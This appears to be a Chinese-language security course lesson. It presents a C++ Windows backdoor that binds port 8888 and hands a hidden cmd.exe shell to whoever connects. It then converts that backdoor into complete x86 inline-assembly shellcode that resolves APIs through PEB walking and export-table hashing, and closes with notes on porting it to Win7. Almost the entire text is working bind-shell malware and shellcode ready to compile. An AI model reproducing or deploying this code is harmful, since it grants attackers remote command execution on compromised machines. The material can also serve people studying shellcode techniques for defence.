如下是一个经典的后门程序
#define _WINSOCK_DEPRECATED_NO_WARNINGS 1
#include<WinSock2.h>
#include<windows.h>
#include<iostream>
#pragma comment(lib, "ws2_32.lib")int main()
{//初始化网络环境WSADATA wsaData;int result = WSAStartup(0x0202, &wsaData);SOCKET socket = INVALID_SOCKET;socket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);SOCKADDR_IN serverAddr;serverAddr.sin_family = AF_INET;serverAddr.sin_port = htons(8888);//小端序转大端序serverAddr.sin_addr.S_un.S_addr = INADDR_ANY;bind(socket, (LPSOCKADDR)&serverAddr, sizeof(SOCKADDR_IN));listen(socket, 0x7FFFFFFF);socket = accept(socket, 0, 0);PROCESS_INFORMATION pinfo{};STARTUPINFOA sinfo{};sinfo.cb = sizeof(STARTUPINFOA);sinfo.dwFlags = STARTF_USESTDHANDLES;sinfo.wShowWindow = SW_HIDE;sinfo.hStdInput = (HANDLE)socket;sinfo.hStdOutput = (HANDLE)socket;sinfo.hStdError = (HANDLE)socket;BOOL isSuccess = CreateProcessA(0, (LPSTR)"cmd.exe", 0, 0, TRUE, 0, 0, 0, &sinfo, &pinfo);CloseHandle(pinfo.hProcess);CloseHandle(pinfo.hThread);closesocket(socket);return 0;
}
通过该程序,可以远程操作目标机器的cmd从而进行相应操作
接下来我们通过将该后门程序转换为汇编代码,添加至上节课的 中
代码实现
现以上节代码为基础,在payload中进行代码实现
#include<windows.h>
#include<iostream>
void _declspec(naked)shellCode()
{__asm{// ws2_32.dll 77 73 32 5F 33 32 2E 64 6C 6C 00 长度:0xB// cmd.exe 63 6D 64 2E 65 78 65 00长度:0x8// kernel32.dll 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00// LoadLibraryA 0XC917432// WSAStartup 0x80B46A3D// WSASocketA 0xDE78322D// bind 0XDDA71064// listen 0x4BD39F0C// accept 0X1971EB1// CreateProcessA 0X6BA6BCC9// ExitProcess 0x4FD18963//1.保存字符串信息push ebpmov ebp, espsub esp, 0x30//kernel32.dllmov byte ptr ds : [ebp - 1] , 0x00mov dword ptr[ebp - 0x5], 0x6C6C642Emov dword ptr[ebp - 0x9], 0x32336C65mov dword ptr[ebp - 0xD], 0x6E72656B//cmd.exemov dword ptr[ebp - 0x11], 0x00657865mov dword ptr[ebp - 0x15], 0x2e646d63//ws2_32.dllmov byte ptr[ebp - 0x16], 0mov word ptr[ebp - 0x18], 0x6c6cmov dword ptr[ebp - 0x1C], 0x642e3233mov dword ptr[ebp - 0x20], 0x5f327377mov ecx, esplea ecx, [ecx + 0x10]push ecxcall fun_payload//popad//2.获取模块基址fun_GetModule :push ebpmov ebp, espsub esp, 0xcpush esimov esi, dword ptr fs : [0x30]//PEB指针mov esi, [esi + 0xc]//LDR结构体地址mov esi, [esi + 0x1c]//listmov esi, [esi]//list的第二项 kernel32mov esi, [esi + 0x8]//dllbasemov eax, esipop esimov esp, ebppop ebpretnfun_GetProcAddr :push ebpmov ebp, espsub esp, 0x20push esipush edipush edxpush ebxpush ecxmov edx, [ebp + 0X8]//dllbasemov esi, [edx + 0x3c]//lf_anewlea esi, [edx + esi]//Nt头mov esi, [esi + 0x78]//导出表RVAlea esi, [edx + esi]//导出表VAmov edi, [esi + 0x1c]//EAT RVAlea edi, [edx + edi]//EAT VAmov[ebp - 0x4], edi//eatvamov edi, [esi + 0x20]//ENT RVAlea edi, [edx + edi]//ENT vamov[ebp - 0x8], edi//ENTVAmov edi, [esi + 0x24]//EOT RVAlea edi, [edx + edi]//mov[ebp - 0xc], edi//EOTVA//比较字符串获取APIxor eax, eaxxor ebx, ebxcldjmp tag_cmpfirsttag_cmpLoop :inc ebxtag_cmpfirst :mov esi, [ebp - 0x8]//ENTmov esi, [esi + ebx * 4]//RVAlea esi, [edx + esi]//函数名称字符串mov edi, [ebp + 0xc]//要查找的目标函数名称push esi//传参call fun_GetHashCode//获取ENT函数名称的哈希值cmp edi, eaxjne tag_cmpLoopmov esi, [ebp - 0xc]//eotxor edi, edi//为了不影响结果清空edimov di, [esi + ebx * 2]//eat表索引mov edx, [ebp - 0x4]//eatmov esi, [edx + edi * 4]//函数地址rvamov edx, [ebp + 0x8]//dllbaselea eax, [edx + esi]//funaddr vapop ecxpop ebxpop edxpop edipop esimov esp, ebppop ebpretn 0x8fun_GetHashCode:push ebpmov ebp, espsub esp, 0X4push ecxpush edxpush ebxmov dword ptr[ebp - 0x4], 0mov esi, [ebp + 0x8]xor ecx, ecxtag_hashLoop :xor eax, eaxmov al, [esi + ecx]test al, aljz tag_endmov ebx, [ebp - 0x4]shl ebx, 0x19mov edx, [ebp - 0x4]shr edx, 0x7or ebx, edxadd ebx, eaxmov[ebp - 0x4], ebxinc ecx//ecx++jmp tag_hashLooptag_end :mov eax, [ebp - 0x4]pop ebxpop edxpop ecxmov esp, ebppop ebpretn 0x4//payloadfun_payload:push ebpmov ebp, espsub esp, 0x300//为WSADATA结构体提升栈空间//1.先拿到dllbasecall fun_GetModule//2.获取LoadLibraryApush 0XC917432//LoadLibraryA 哈希值push eaxcall fun_GetProcAddrmov[ebp - 0x4], eax//LoadLibraryA 地址//3.调用LoadLibraryA 加载ws2_32.dllmov ecx, [ebp + 0x8]//ws2_32.dll字符串地址push ecxcall[ebp - 0x4]//调用loadlibraya获取 ws2_32.dllmov[ebp - 0x8], eax//ws2_32base//4.获取kernel32 .dll模块基址mov ecx, [ebp + 0x8]//kernel32.dll字符串地址lea ecx, [ecx + 0x13]push ecxcall[ebp - 0x4]//调用loadlibraya获取 kernel32.dllmov[ebp - 0xc], eax//kernel32base//获取WSAStartup地址push 0x80B46A3D//WSAStartup 哈希值push[ebp - 0x8]//ws2_32 基址call fun_GetProcAddrlea esi, [ebp - 0x300]//WSADATA 结构体push esipush 0x0202call eax//获取 WSASocketA 地址并调用push 0xDE78322D//WSASocketA 哈希值push[ebp - 0x8]//ws2_32 基址call fun_GetProcAddr//调用WSASocketApush 0push 0push 0push 0x6push 0x1push 0x2call eaxmov[ebp - 0x10], eax//socket//获取 bind 地址并调用push 0XDDA71064//bind 哈希值push[ebp - 0x8]//ws2_32 基址call fun_GetProcAddrmov word ptr[ebp - 0x200], 0x2mov word ptr[ebp - 0x1FE], 0X22B8//22B8 8888 大端序mov dword ptr[ebp - 0x1FC], 0 push 0x10//sizeof(SOCKADDR_IN)lea esi, [ebp - 0x200]//&SOCKADDR_INpush esipush[ebp - 0x10]//socketcall eax//获取listen地址 并调用push 0x4BD39F0C//listen 哈希值push[ebp - 0x8]//ws2_32 基址call fun_GetProcAddrpush 0x7FFFFFFFpush[ebp - 0x10]//socketcall eax//获取accept 并调用push 0X1971EB1//listen 哈希值push[ebp - 0x8]//ws2_32 基址call fun_GetProcAddrpush 0push 0push[ebp - 0x10]call eaxmov[ebp - 0x10], eax//初始化STARTUPINFOA结构体lea edi, [ebp - 0x90]//STARTUPINFOA结构体首地址xor eax, eaxmov ecx, 0x11cldrep stosd//重复0x11次填充数据0mov dword ptr[ebp - 0x90], 0x44//sinfo.cbmov dword ptr[ebp - 0x64], 0x100//sinfo.dwFlagsmov word ptr[ebp - 0x60], 0x0//sinfo.wShowWindowmov esi, [ebp - 0x10]//socketmov dword ptr[ebp - 0x58], esimov dword ptr[ebp - 0x54], esimov dword ptr[ebp - 0x50], esi//获取CreateProcessA 并调用push 0X6BA6BCC9//listen 哈希值push[ebp - 0xC]//kener32 基址call fun_GetProcAddrlea edi, [ebp - 0x200]lea esi, [ebp - 0x90]mov ecx, [ebp + 0x8]lea ecx, [ecx + 0xB]push edipush esipush 0push 0push 0push 1push 0push 0push ecxpush 0call eax//CreateProcessAmov esp, ebppop ebpretn 0x4}
}
int main()
{shellCode();return 0;
}
注意:该代码只能在Win10运行,不可在Win7运行,具体原因如下:
Win10系统kernelbase .dll中有LoadLibraryA,但Win7中没有
解决方案如下:
1.修改获取模块功能,遍历list根据模块名称匹配kernel32
2.将LoadLibraryA 改成LoadLibraryExA